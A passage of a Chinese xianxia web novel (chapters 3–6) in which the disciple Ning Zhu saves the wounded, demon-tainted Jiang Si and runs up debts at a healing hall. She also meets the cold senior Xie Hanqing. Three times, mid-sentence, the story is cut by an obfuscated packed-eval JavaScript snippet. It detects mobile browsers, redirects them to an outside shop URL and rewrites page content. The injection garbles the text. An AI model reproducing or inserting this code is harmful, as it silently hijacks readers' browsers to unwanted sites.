檐角灯笼随风轻转,洒落一地斑驳光影。 少年个头高出她许多,此时颇有些居高临下的意味。 她微微仰着脸,似是因为气恼,面颊染上一层薄红,纤长卷翘的睫毛如同被惊扰的蝶,扑簌簌颤抖着。 也不知她方才吃了什么东西,整个人闻起来……甜丝丝的。 像枝头垂挂饱满多汁的蜜桃。 少年的目光落到她沾了点糖屑的嘴角上,勾了下唇:“自然是为了帮你。” 宁竹噎住,她手指都在颤抖,整个人看上去好像快要哭了。 少年将袖子从她手中拽出,靠近她,一字一句道:“还有,叫我江似。” 江似……为何有些耳熟? 只是宁竹却管不了那么多了,她鼓起勇气道:“江似,我与你也算相熟,你弄坏了我的东西,应当赔的。” 仿佛听到了什么好笑的话,江似发出一声短促的笑。 他勾着丝绦,让手中剩余的半点残玉一点点靠近她。 碎裂的冰璃鸾玉依然美得惊心动魄,锐利的边缘折射着彩色的光。 江似忽然松开手,宁竹想也不想,忙伸手去接。 掌心被擦破了一点皮,渗出殷红的血。 江似不为所动,背着手道:“我好心提醒你,你这东西上被人下了咒。” 他语气凉丝丝的:“噬魂咒,不出白日,你便会变成一个傻子。” “怎么样,还想要吗?” 许是他语气太诡异,宁竹打了个哆嗦。 江似拍了拍手,像是掸去不存在的灰尘。 他转身,高马尾甩出一个利落的弧度,墨发中夹杂的点点银丝闪着暗色的光。 江似走了几步,忽然微微侧脸,似是提醒她:“咒已经解了,毕竟是上等法器,用料上乘,那些碎片还能换点些灵石。” 他扬长而去。 宁竹站在原地欲哭无泪。 冰璃鸾玉碎了一地,闪烁着好看的光芒。 宁竹不知他所言是真是假,只能咬牙切齿将碎片都小心包了起来。 她表情扭曲,心在滴血,命里无财,说的就是她了吧? 与此同时,含云顶。 山间云海缭绕,吞吐翠微,仙鹤立在水边梳理着羽毛,池中通体金黄的鲤鱼甩尾游动。 须发皆白的老者轻敲棋子:“寒卿,你分神了。” 少年屈膝端坐,腰背挺直,天玄离尘带垂在墨发间,连袖袍之上的每一道褶皱都好似精心整理过。 规行矩步的小仙君垂下眼睫:“抱歉,师尊。” 清虚真人抚了下胡须:“此番闭关,你颇有进境,但也清减不少,也是为师不该,还拉着你下棋。” “且先回去歇息吧。” 谢寒卿冷白的指尖落下一枚棋子:“先陪师尊下完此局。” 清虚真人含笑,接着落下棋子。 谢寒卿垂眸。 将脑海中那道衣袍染血的身影挥开。 幽冥集市,宁竹从一间铺子里折了出来。 她掂着手中的十五万灵石,安慰自己反正都是白白得来的,虽然五十万变成了十五万…… 但好像还是有亏了三十五万的感觉! 宁竹化悲愤为食欲,冲到她平时过门而不敢入的食肆狂点了一堆招牌菜。 听说食肆掌柜原是个剑修,苦练多年无法筑基,某一天忽然开悟,转修食道,反而一路畅通无阻。 后来掌柜在此处开了这间食肆,生意很是火爆。 菜很快上来了,宁竹正要动筷,忽然听到外面一片打杀之声。 宁竹脸色一白,忙不迭抓起长剑。 掌柜刚好来上菜,他将油红发亮的卤猪蹄放下,瞥了窗外一眼,开口安慰:“小姑娘,幽冥集市打杀之事多如牛毛,你放心,我这食肆布了保护结界,伤不到你。” 宁竹稍稍放下心来,她道了谢,好奇地看向那群凶神恶煞人。 看上去是多对一啊,不讲武德。 既然伤害不到自己,宁竹也就放下心来,给自己盛了一碗香喷喷的白米饭,打算边看戏边吃饭。 然而下一刻,手里抓的饭勺掉在了桌面上。 食肆外,独眼黄牙一脚踩在江似手背上,足尖用力,狠狠研磨,恨不能将他指骨都踩碎。 他狠狠啐了一口,脚下继续用力:“叫你不守规矩,叫你爱逞能,叫你敢威胁老子!” 江似脸上的面具已经碎了。 金属质地的面具,四分五裂,露出一张苍白而青隽的脸。 姿容如玉,目若寒潭,点点鲜血不添污浊,反增秾丽之感。 哪怕他的脸被重重踩在地上,江似唇边却依然含着笑。 笑意张扬又恶劣,仿佛浑然不在意所处境况。 正是这笑惹恼了独眼黄牙,他抓过身旁之人手里的鞭子,狠狠朝着他的身上、脸上打去,每一下,都用了十成力气。 江似衣袍被抽烂了,脸上更是交错着几条狰狞的伤痕。 鲜血染湿了他的脸,江似眨了下被糊住的眼睛,不耐烦问:“够了没?” 独眼黄牙气得浑身颤抖,他手下黑鞭如急雨落下,甚至带出细密血珠:“老子今天就要你死!!” 食肆内,宁竹抓着长剑猛然起身,面色苍白如纸。 她浑身都在颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888530|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖,牙齿更是咬得咯咯作响。 掌柜看她一眼,不咸不淡道:“你认识?” 宁竹没有说话。 “那八个人,有两个金丹期修为,你一个筑基期的,怎么打得过?” 掌柜道:“小姑娘,乖乖坐着吃饭,别去送死。” 宁竹如同挂在树上摇曳的破风筝,浑身摇摆。 地上的江似似乎已经不会动了。 独眼黄牙还不解气,招呼众人拳打脚踢,生生要以最普通的方式将人活活打死。 就在这时,忽然冲出来一道娇小的身影,对方祭出长剑,直直朝着独眼黄牙而来! 独眼黄牙心里一惊,旁边的金丹修士反手横剑一挡,宁竹便如同一只破布娃娃,高高飞了出去。 独眼黄牙认出她来,怒骂:“又来一个找死的!” 他狞笑着,提着滴血的长鞭走了过去:“小美人,叫一声哥哥听听,哥哥就饶你不——” 像是放了慢镜头。 独眼黄牙的动作戛然而止,下一秒,他的身体如同一朵烟花炸开。 血肉碎末如同瓢泼大雨坠落。 周遭围观的人纷纷尖叫着跑开,宁竹愣愣看向一地狼藉中的的少年。 江似屈膝跪在地上,一只手撑着摇摇晃晃的身子。 他满面是血,瞳孔黑得几乎泛出诡异的红,带笑看着剩余的几个修士。 江似扶着一旁被砸烂的摊子,缓缓起身。 几个修士皆露出惊恐的神色,他们对视一眼,赶在江似出手前溜之大吉。 起风了。 地面的血聚集成滩,如同湖面生了褶皱。 江似缓缓抬起重若千钧的眼皮,看向跌坐在地的少女。 她白瓷般的脸上沾了星星点点的血,杏仁眼含着一层泪,瞪得很大。 丑死了。 下一秒,江似咳出一口乌黑的血,仰面倒了下去。 从那人在自己面前炸掉开始,宁竹脑子里便是一片空白。 直到江似倒下去砸到摊子,发出巨大声响,宁竹才如同被当头棒喝,猛然回过神来。 她扶着长剑站起来,脚下踉跄朝着江似跑了过去。 江似面色变得极为惨白,殷红血迹如同蛛丝爬满他的脸。 宁竹手指颤抖,探到他鼻下—— 她面色大变,又伸手去探他脉搏。 许是太过慌乱,宁竹竟是什么都探查不到! 江似的身体在飞快变冷。 不,他不能就这么死掉! 对了,归息丹……归息丹应该还在他身上! 宁竹低下头翻找,在碰到他腰间硬物时,宁竹一愣。 天玑山弟子腰牌?? 江似……也是天玑山弟子? 但此时来不及想那么多,她很快翻到了那枚归息丹,给江似喂了下去。 服下救命丹药,江似的身子终于不似方才那般寒意彻骨。 宁竹刚刚松了一口气,便听不远处人声传来:“……杀了人,就在那边!” 幽冥集市是有监守修士的,宁竹预感到大事不妙,忙抓起江似,召出飞剑逃走。 宁竹慌乱不已,一鼓作气带着江似逃到天玑山下。 见后面无人追来,宁竹这才松了一口气。 她探了探江似的神识,依然乱作一团,而且不知道为什么,明明方才已经在回暖的身体,此时又开始变得一片冰凉。 滴答。 宁竹手背发痒,她低头一看,是血。 江似他……在七窍流血。 分明已经快要到自己的洞府,宁竹生生在半空中掉了个头,急急往太素阁飞去。 宁竹没有看见,丛竹之后,天边残月映照着一道白色的身影。 谢寒卿衣袍胜雪,凝望着逐渐飞远的两人。 薄雾弥漫,月色流动在他那双淡漠的眼瞳中。 片刻后,小仙君无声踏上怀卿剑,跟了上去。 4. 第 4 章 “殷长老!!” 宁竹背着江似急吼吼冲进太素阁,殷长老正躺在摇椅上打瞌睡呢,被吓了一跳。 他甫一抬头,见两个血人站在面前,脸色霎时严肃起来:“宁竹?怎么会搞成这样!” 弟子们时常会卖些药材到太素阁赚些灵石,这丫头也不例外。 同样一种药材,宁竹处理得总比旁人干净些,也不会滥竽充数,殷长老对她很有好感,给她的药材算价也比寻常弟子多上一分。 寒冬腊月,宁竹却满脸是汗,她摇了摇头:“殷长老,不是我,是他!” “我方才喂了他归息丹,但不知道为什么,本来都开始好转了,突然又开始七窍流血。” 殷长老招呼宁竹将人扶过来,分出一缕灵力探入江似身体中。 他细细查探,时而拧眉,时而摇头:“怪哉,怪哉!” 宁竹焦急问:“殷长老,可有什么不妥?” “经脉逆行,灵气暴走,因而肺腑出血,神识不稳……归息丹本可引经化气,疏体固元,为何进到他体内却如泥牛入海?” 江似的面色已然变成灰白的颜色,透着不详。 殷长老捋起袖子,将人抱进内室:“宁丫头,你且先在外侯着,我为他施针。” 宁竹不敢打扰他,点点头走了出去。 外面冷冽清醒的空气扑面而来,宁竹深深吸了一口气,灵台都清明不少。 远方苍山负雪,孤月清圆,正是无双美景,但宁竹却没心思欣赏。 她满脑子都是江似那张染血的脸。 江似和她一样,都只是外门弟子,怎么能爆发出那么强的力量,隔空杀人? 宁竹害怕极了。 独眼黄牙虽然可恨,但也是一个活生生的人,跟平日里杀的那些妖兽不一样。 一个人就这么在自己面前炸开,宁竹回想了一下,感觉胃部不舒服地扭动了一下,喉咙中都泛起酸水。 不,那人下手如此狠辣,江似不杀了他,便要被他杀。 宁竹给自己洗脑。 夜凉如水。 谢寒卿负手立在树后,静静看着阶上满身满脸都是血的少女。 方才太素阁中的对话,他听得清清楚楚。 又是一个重伤之人。 她是有什么癖好么? 空气似乎波动了下,太素阁中忽然爆发出一声巨响。 谢寒卿眸光一凝,眼神变得极为锐利,魔气? 待他凝神查探,那缕魔气又如同烟雾消散殆尽,仿佛只是他的错觉。 他分出一缕神识,飘进屋中。 宁竹一愣,忙冲进屋:“殷长老?!” 屋内一片狼藉,架子上的兽壳,晒干的草药洒了满地。 殷长老跌在地上,嘴角有血,脸颊上插了几根银针,手抖得厉害:“宁竹,快,快取一枚九转舒气丹来!就在那边!” 床榻之上的江似青筋毕露,满头大汗,直勾勾盯着床帐,瞳孔透着诡异的黑红色。 宁竹转身飞快跑向置药架。 殷长老的声音从背后追来:“上数六层!最左边的青色盒子!快!快取来喂他!否则他要爆体而亡了!!” 宁竹后背汗毛倒数,整个人跑出了八百米冲刺的速度。 她一个滑铲跪到江似旁边,掰开他的唇,将丹药喂了下去。 江似的瞳孔开始失焦,唇边溢出乌黑的血。 整个人看上去惨象环生,几乎快要死掉。 殷长老撑着身子挪到他旁边,为他运功护体。 约摸一刻钟后,江似的面色开始恢复正常。 殷长老抹了一把脑门上的汗,疲惫道:“命保住了。” 这真是混乱的一晚。 殷长老被江似乱冲乱撞的灵力所伤,撞出去的时候折断了腿骨。 宁竹看着满地狼藉,主动帮他收拾打扫。 看着地上碎裂的药瓶药罐,宁竹感觉自己在肝颤。 打扫到置药架前时,宁竹这才注意到九转舒气丹的匣子上,明晃晃挂着一个小小的牌匾。 上面写着“十二万灵石”。 宁竹手里的扫帚啪叽掉了下来。 殷长老已经给自己的腿缠上了厚厚的纱布,见宁竹过来,他摆摆手道:“无碍,我用了续骨散,过一晚就好了。” 宁竹表情很惶恐,她咽了咽口水:“殷长老,劳烦您算一下诊金,还有……” 她指了指地上被她归集到一起的碎裂药品:“还有折损。” 殷长老忽然大笑起来,他手指叩了叩桌面:“丫头,这小子是你道侣?” 宁竹忙不迭摇头:“不是。” “那不就得了。”殷长老手里捻着细长的铜柄,将几味药沫混合在一起:“你好心送他来求医,费用合该他出才是。” 殷长老抬头朝她眨了下眼睛:“这小子叫江似是吧,放心,我已经写好欠条画好押了。” 殷长老将一张薄薄的契纸递到她手中,“诊金便不收了,他弄坏的这些东西,加上那枚九转舒气丹,一共是三十二万灵石。” 三,三十二万? 宁竹看着昏迷的江似,浑身上下像是被蚂蚁爬了一遍。 江似常在幽冥集市摆摊维持生计,怎么可能拿得出来那么多灵石! 殷长老瞥她一眼:“把人送回去吧,老夫配了一剂药,你拿去,这几天好生将养,应无大碍。” 宁竹到底是过意不去,将身上的灵石数了一遍,咬牙切齿凑了十六万灵石放到桌上:“殷长老,这些您先收着,剩下的灵石我会让他补过来的。” 殷长老笑盈盈地将灵石收下了,吩咐她:“回去慢点儿。” 宁竹晃着乾坤袋里剩下的八万灵石,双眼无神走向江似。 没关系,折腾了一圈还剩八万…… 宁竹一脸痛苦扶着昏迷不醒的江似离开了太素阁。 不知是何时开始下雪的,乌云蔽月,天色阴沉下来,周遭暗影重重。 宁竹站在原地纠结了一会儿,只能硬着头皮往自己的洞府飞。 她不知道江似住在哪里。 飞剑仿佛感应到主人的心情,速度变得慢吞吞。 宁竹磨蹭了一会,终于飞到了洞府附近。 细雪纷纷,宁竹甩了甩脑袋,将睫毛上沾染的雪花甩开。 她忽然愣住。 一定是看错了。 宁竹揉了下眼睛。 她的洞府面前,立着一个宽袍广袖的小仙君。 他并未负剑,墨发高束,鹤状银冠在暗色中反射着幽幽的光。 濯濯如月,风姿卓然。 似乎听到动静,小仙君回眸看来。 宁竹对上那双琉璃般浅淡的眸子时,脚下踉跄,直直跌下剑来。 宁竹和江似离地面约摸还有三尺距离,眼看就要脸着地,忽然有一道冷冽剑气裹上他们的身躯,将人放到地上。 宁竹站定之后,下意识往后退了半步。 谢寒卿面无表情看着宁竹。 无需使用搜神术了。 若是一次还不够,两次的反应足以说明,她认得他。 那天晚上的事……她没有忘记。 “为何要躲?” 宁竹以为他说的是自己方才的动作,干笑着解释:“他,他有点沉,没站稳。” 小仙君的眉头几不可察皱了下,他挥了下袖,宁竹只觉得一股清清凉凉的风拂面而过。 再一看,她和江似身上已经干涸成一块块的血渍都消失不见了,两个人变得干干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888531|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净净。 宁竹的耳尖唰地红了。 一路上忙着救人,她都忘了自己现在肯定形容狼狈。 谢寒卿朝她伸出一只手来。 这人浑身上下都犹如冰雪所铸,就连掌心纹路都生得秀气好看,像是冰霜凝在叶片后呈现的脉络。 宁竹盯着他的掌纹,一时有些分神。 “把他给我。” 音色清冷,像是檐下冰棱融化。 啊? 宁竹抬头。 谢寒卿耐心地重复道:“把他给我。” 宁竹心头警铃大作。 她微微抬手,不着痕迹将江似拦在身后:“……师兄要做什么?” 她以为他误会了他们身上的血,忙道:“师兄,我们是为自保,才同人起了争执!” 谢寒卿俨然没有那么多时间跟她耽搁。 他根本没有动作,宁竹却觉得一股无形的力量将自己推开,江似如同一只傀儡般朝着谢寒卿飞了过去。 江似悬在空中,微微垂着头,脸色依然惨白。 谢寒卿双指合并,一道金光挟裹着凛冽剑气,朝他眉心探去! 宁竹什么也阻止不了。 喉咙变得无比干涩,心脏也砰砰直跳起来,江似让人古怪地炸开……谢寒卿会发现什么吗? 谢寒卿眉头微拧,深深探入他的识海和灵丹。 一切都风平浪静,再正常不过,仿佛只是一个普通的筑基期弟子。 难道刚刚那缕魔气……是他的错觉? 似乎过了很久,谢寒卿将人放开,江似缓缓坠落在地。 宁竹松了一口气。 “你与他相熟?”谢寒卿冷不丁问。 宁竹不知道他是什么意思,揣摩着回答:“算是交好。” 她似乎看到小仙君眸光里闪过一丝别样的情绪,但仔细看去,却只有那双淡漠的眼。 “他既是我天玑山弟子,身受重伤,理应由太素阁收治。” 这回宁竹听懂他的意思了,她低下头盯着自己的鞋尖,声如蚊蚋:“太素阁是要收诊金的,一天要五百灵石。” 陷入了诡异的沉默。 片刻后,一道没什么情绪的声音响起:“外门弟子每月月例为一千灵石,若入内门,每月月例便会上涨到五千灵石。” “每年门派都会展开晋级大比,何不尝试一下。” 宁竹头埋得更低了。 不想上清华北大是她的问题吗!去年晋级大比她也不是没去参加。 但菜是原罪啊!! 或许谢寒卿把她的沉默当做了不思进取,他忽然朝她抛出一枚什么。 宁竹下意识避开。 月白色的乾坤袋就这么滚落在了地上。 一抬头,对上小仙君冷淡的眼瞳,宁竹吓得连忙将乾坤袋捡起来:“师,师兄……” 谢寒卿的目光落在江似身上。 少女将那气息奄奄的少年护在身后,两人衣袖交叠,莫名……有几分刺眼。 小仙君垂在袖中的指微微蜷起。 若是他将那天晚上的记忆抹去,那她也会一并忘了他吧。 谢寒卿的指尖松开。 他看了宁竹一眼,踏上怀卿剑,袖袍招展,长身鹤立。 宁竹不敢看他,小声说:“师兄慢走。” “下次遇见,不要再装不认识。” 少年仙君琼姿皎皎,风骨盈盈,丢下一句话,扬长而去。 宁竹立在原地,五雷轰顶。 他认出她来了? 僵硬许久,宁竹小心翼翼将那枚乾坤袋打开。 宁竹颤抖了下。 各式各样的灵丹法器闪闪发光,几乎要刺瞎她的眼! 这是……封口费?? 5. 第 5 章 宁竹满腹心事忙活了一夜,天将亮时,江似的脸色依然很差,好在体征恢复了正常。 宁竹给他的伤口仔细敷了药,给他掖好被角,坐到窗边开始缝制兽甲。 她一边缝,一边想谢寒卿的话。 《仙道》这本书当时风靡一时,她当时草草翻了一遍,没看到结局就弃文了。 中间很多剧情她都不记得了,但谢寒卿这个人……虽然杀伐果决,但好像也不是滥杀无辜之人。 书里面他血洗魔域就是最为人诟病的一段了。 宁竹虽然窥探到了他的秘密,但未来的须弥仙君,要杀她,就像碾死一只蚂蚁。 根本不必耗费心力。 所以他给她这袋子灵丹法器……难道是为了感谢她? 宁竹不停瞥向存放乾坤袋的角落。 她大致清点了下,里面的东西加起来几百万灵石定然是有的。 简直是天降横财! 但……就这么收下,岂不是显得她像个挟恩图报的小人? 要不然下次遇见他再问问? 守着金山银山不敢用,宁竹心里苦。 外面寒风呼啸,宁竹将灵炉添得满满当当,小屋被笼罩在一片温暖中。 她其实也困得不行了,但今天是向珠玑阁交差的最后期限,她不想食言。 在天玑山,积分和灵石都可以当钱用,但积分只能通过接任务或提交妖兽换取,而且限制多,只能在天玑山花。 灵石获取则容易得多,采得的草药、自己处理好的兽甲、兽爪粉等等都可以换取灵石。 所以大多弟子都只要灵石,不要积分。 斩杀妖兽可以磨炼修为,精进功力,还能兑换灵石,但处理那些兽皮兽爪除了耗费力气,并没有额外好处,寻常弟子看不上。 倒是方便了宁竹捡漏。 一场猎杀之后,掉落的兽羽兽鳞一抓一大把,运气好的时候还能捡到兽爪和兽皮。 宁竹没少靠这些零部件赚灵石。 她揉了揉眼睛,将手中兽皮小心缝制起来。 床榻上,江似喉结微滚,口腔里弥漫着的淡淡血腥味叫他意识慢慢回笼。 渴。 喉咙火烧火燎,像是吞了一把炭火。 江似手指微蜷,缓缓睁开了眼。 下一秒,他瞳孔一缩,整个人都紧绷起来。 头顶悬挂着温暖的鹅黄色帐幔,上面还绣了一些奇怪的图案。 江似周身都陷在温暖柔软中,鼻端甚至能嗅到一股淡淡的馨香。 这不是他的洞府。 江似指尖凝出一个杀人于无形的法诀,掀开被子,警惕地观察周围。 灵炉里炭火哔啵,靠窗的位置坐着一个少女。 她两只腿交叠在一起,欢快地晃悠着,浅蓝色的裙摆跟着一荡一荡。 似乎听到动静,宁竹回过头来。 她眸中闪过错愕,旋即弯眼一笑:“你醒啦!” 宁竹丢下手中兽甲,起身倒了一杯热水,絮絮叨叨说:“殷长老说你受伤太重,恐怕要修养三五日才能苏醒,你醒得还真快。” “殷长老给你开了几副药,说要接着……” 冰凉的触感贴上她的脖颈。 宁竹手中的杯盏猛然落地,摔了个粉碎。 江似眼神阴冷,单手掐住她的脖颈,只要微微一用力,便可叫她成为一具尸体。 “我在哪。”江似发问,如同毒蛇吐信。 宁竹腿肚子打颤,但人还算冷静:“在我的洞府,昨晚幽冥集市,你忽然七窍流血昏迷不醒,是我把你带回来的。” 江似眯了下眼:“殷长老?太素阁?” 宁竹忽然生出不详的预感,她结巴道:“殷,殷长老救了你……” 江似放开了她,整个人如同一阵风撞开门,踏上飞剑便消失在了茫茫大雪中。 宁竹僵硬了片刻,忙不迭跟着追了出去。 太素阁,殷长老正在细筛研磨得粉碎的玄龟壳。 这种玄龟的壳用来止血解毒再好不过,只是其中有些杂质影响功效,需要花些耐心去除。 “砰——” 门忽然被人一脚踹开。 殷长老并未抬头,继续专心埋头处理玄龟粉。 一道暗色的影投映在桌案前,挟裹着冰冷的风雪。 殷长老慢悠悠将天青色的粉末装到长颈瓷瓶中,才抬头打量了对方一眼。 “恢复得还挺快。” 积在少年消瘦肩膀上的雪沫逐渐化为水渍,弄湿了玄色的衣袍。 江似脸色苍白得厉害,整个人如同幽魂般,一双眼黑沉如墨,阴恻恻地盯着殷长老。 “多谢殷长老救命之恩。”他的嗓音喑哑,古怪,像是从喉咙深处挤出来的。 “殷长老要把这些玄龟粉存起来么?” 他主动接过瓷瓶,手指不经意般与殷长老接触:“玄龟粉遇水易结块,不如施一个避水诀?” 殷长老忽然反手抓住他的手腕。 细颈瓷瓶坠落在地,四分五裂。 玄龟粉扬了起来,空气中充满了刺鼻的气味。 殷长老含混低沉的声音忽然响起:“……你是想引起他们的注意么?” 江似瞳孔一缩。 “你到底是什么人?” 殷长老似乎叹了一口气:“孩子,魔修后代自会身染魔气,要遮掩并不容易,你放心,此事我不会说出去的。” 他深深看他一眼:“你资质不差,刻苦修炼,终有一日能成大器。” 江似低垂的眼睫轻轻抖动了一下,似乎是在冷笑。 “殷长老!江似!” 一个少女跌跌撞撞闯了进来。 江似像被烫到了一样,猛然抽出手,抬头看向来人。 宁竹来得很急,胸膛起伏着,脸色潮红,睫毛还站着几片雪花。 她手里握着剑,警惕地看着他们。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888532|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而什么都没有发生,没有鲜血淋漓的人体组织,只有一枚被摔碎的瓷瓶。 殷长老的表情很平和,他对宁竹笑了笑,打趣道:“灵石可以慢慢还,不急于一时。” 江似的表情变得很古怪。 殷长老惊讶挑眉:“宁丫头,你没告诉他?” 宁竹的后背慢慢绷紧,她张了张唇,终于硬着头皮说:“事发突然,殷长老用九转舒气丹吊住了你的性命,但你发作过程中打碎了殷长老许多丹药……” “合计是三十二万灵石,但此事因我而起,一人负担一半,我还了十六万,你……要还十六万。” 宁竹一口气说完,忽然想起来遗漏了一件事。 她顿了顿,盯着自己的鞋尖:“还有那枚归息丹,当时……也给你用了。” 她似乎有些心虚,纤长的睫毛颤抖着,就连小巧的鼻尖都染着一层酡红。 江似仔细盯了她一会儿,忽然睨了殷长老一眼:“是么?” 江似动了。 少年步伐轻盈,高束的马尾轻轻扫动着背脊,如同一只矫健的黑猫,停留在宁竹面前。 他微微凑近宁竹,语气里带笑:“我有求人救过我么?” 宁竹眼角一跳,忽然抬起头,不赞同地盯着他:“所以呢?你要我见死不救?” 江似似乎没料到她会反驳自己,饶有兴味地勾起半边唇角:“死在那里又如何?” “多管闲事。” 宁竹一拳打到了他精致得过分的脸上。 江似和殷长老都懵了。 当然这一拳不重,是冲着他下巴去的,江似连身形都未晃动半分。 但他的脸被打偏了些,整个人看上去更加阴郁。 宁竹胸膛起伏,眼睛亮得惊人:“我赔就我赔,只是有的人,把自己的命看得太轻太贱!” 她恶狠狠瞪他一眼,扭头就走。 宁竹冲进漫天风雪中,冰凉的雪粒在她面颊上拍打。 有人如此轻贱生命,却有人费劲力气也没办法活下去。 宁竹又想起了病床上弥留的奶奶,那双抓住她的枯槁的手。 她深深吸了一口气,决定再也不理会这个脑子有病的人。 太素阁,殷长老起身,不紧不慢收拾起地上的碎瓷。 江似在原地僵硬了好一会儿,才拿出乾坤袋,丁零当啷倒出一堆灵石。 他不耐烦道:“数数,够不够。” 殷长老将地面恢复了整洁干净,捋着胡须数了一遍灵石,遗憾摇头:“这里只有九万八千二百二十二灵石。” “还差……” 江似面色不虞盯着他。 “还差六万一千七百七十八灵石。” 殷长老笑盈盈补充:“对了,宁竹还付了十六万。” 江似:“……” “等着。”他咬牙切齿抛下两个字。 要他花女人的钱? 除非他死了。 6. 第 6 章 被这么一打岔,来回又是小半个时辰。 宁竹骂骂咧咧,强撑困意缝好了最后一部分,终于赶在午饭前把缝制好的初级防御兽甲送到了珠玑阁。 今日当值的是一个白白的胖子,叫做吴子歌,因为性格好,大家都戏称他一句鸽子吴。 鸽子吴入道前是个屠夫,专心致志杀了十年猪,据说他正是在杀猪的时候悟道的。 鸽子吴觉得自己手上染了不少罪孽,不修剑道,转修丹道,闭门苦修七十载,如今已经是金丹大圆满。 宁竹将兽甲放在台面上,唤他:“吴师兄,有点事耽搁了,踩着最后一天交上来了。” 鸽子吴仔细检查了兽甲,笑呵呵说:“不碍事,宁师妹做事一贯细致。” “还是换积分?” 宁竹现在缺灵石,道:“师兄,这次帮我换灵石吧。” “十日后我再送三件兽甲过来,另外师兄,近来有没有其他活计?缝制防御甲、防御靴,处理炼器原石,翻新低阶废旧法器都可以的。” 鸽子吴打量了一眼她手上的茧子:“最近缺灵石?” “嗐,灵石哪有够的时候嘛。” 鸽子吴问:“会打络子不?” 他指了指琉璃柜里一排精美绝伦的剑穗。 修真界的主流剑穗多为流苏款,材料不菲,价格自然也昂贵。 但对剑修来说,剑就是老婆就是命!苦啥也不能苦自己的本命剑,贫穷的剑修买起流苏挂饰来可是不眨眼的。 这可是肥差! 宁竹眼睛一亮,点头:“会,要不我现场给你编一个!” 宁竹爸妈在她小学时就因为车祸去世了,是爷爷奶奶把她带大的。 一家人生活拮据,奶奶经常编些织物拿去夜市售卖,宁竹打小就跟着帮忙,也练了一手好活。 鸽子吴此前正是因为看中她的手艺,才肯把缝制兽甲的活交给她来做。 鸽子吴转身取出三只木匣子,放到台面上,小心翼翼打开。 宁竹霎时被亮瞎了眼。 “琼海鲛丝柔韧轻软,银光飒飒;南陵天丝色泽如雪,触手生凉;还有这榴火丝,乃是用梦京的落凰花所染,妖艳如火。” 鸽子吴道:“都是顶级材料,交给你来做剑穗,时间不限,你什么时候做好了,什么时候送过来。” “成品……一根给你一千灵石工费。” 宁竹嘴角的笑快要压不住了:“谢谢吴师兄!!保证做得漂漂亮亮!” 宁竹将匣子收进乾坤袋,转身要走,鸽子吴忽然喊住她:“宁师妹,等等。” 宁竹回过头:“师兄还有什么要吩咐的吗?” 她眼底发青,瞧着有些憔悴。 鸽子吴将两瓶丹药丢给她:“一瓶内服,一瓶兑水外敷,可养颜生肌。” 宁竹下意识要拒绝,鸽子吴知道她的性子,先一步打断:“炼丹过程中产出的次等品,你不要便扔了。” 金丹大圆满修士产出的丹药,就是次等品也是值钱的!宁竹哪能不知道他的好心,眼圈有些发红。 “吴师兄……” 鸽子吴却已经埋头鼓捣起货架来。 宁竹只好说:“多谢师兄,那我走啦。” 鸽子吴没抬头,随意挥了挥手。 宁竹回程路上,方才的好心情已经荡然无存。 她来天玑山后遇到了许多好人,可是一想到这些好人将来的结局…… 宁竹黯然垂下眼。 她不是没尝试过提前预警,可是每当她要说出关键词时,仿佛有某种高维度的神秘力量限制她开口。 一次次尝试失败后,宁竹无比清晰地意识到,她在一本书里。 血洗天玑山,乃是男主转变的一个关键节点,不可能不发生。 ……就连她最后到底能不能逃出天玑山,都是一个未知数。 或许那一日到来时,天玑山附近会忽然出现一道空气墙,叫她怎么也没办法穿过去。 算了,想太多就没意思了。 无论如何,至少她要努力,为活下去努力。 与此同时,魍魔谷。 江似运气不错,找到了一窝鸟喙棘皮兽的老巢,四只幼兽,约摸还有一对雌雄兽,只是此时不在巢中。 补上太素阁的窟窿绰绰有余,至于宁竹那边,他明日再来一趟便是。 高阶妖兽并不好杀,江似费了点力气,杀掉四只幼兽。 然而就在他打算离开时,忽有凄厉鸟鸣划破长空。 江似顿感不妙,召出飞剑要逃,不料两只凶狠鸟喙棘皮兽扇动着翅膀扑了过来,掀起一阵腥风。 江似被硬生生扇落在地。 眼看那妖兽瞪着血红的凸眼朝他啄来,江似忙不迭祭出飞剑格挡—— 飞剑断裂为几截,江似双手合抱抓住鸟喙棘皮兽细长的脖颈,额角青筋暴起。 另一只妖兽从背后飞来,利爪死死抓住他的背脊,深深嵌入血肉,将人抓离地面! 江似被前后夹击,眼看就要落败,背后那只鸟喙棘皮兽忽然没由来地炸成了碎片。 正如幽冥集市那个修士一般。 江似与另一只妖兽双双滚落在地。 他咳出一口乌黑的血,抓起地上的断剑,耗尽力气削断了妖兽的一只爪子。 妖兽吃痛要逃,江似扑上去,死死掐住妖兽的脖颈。 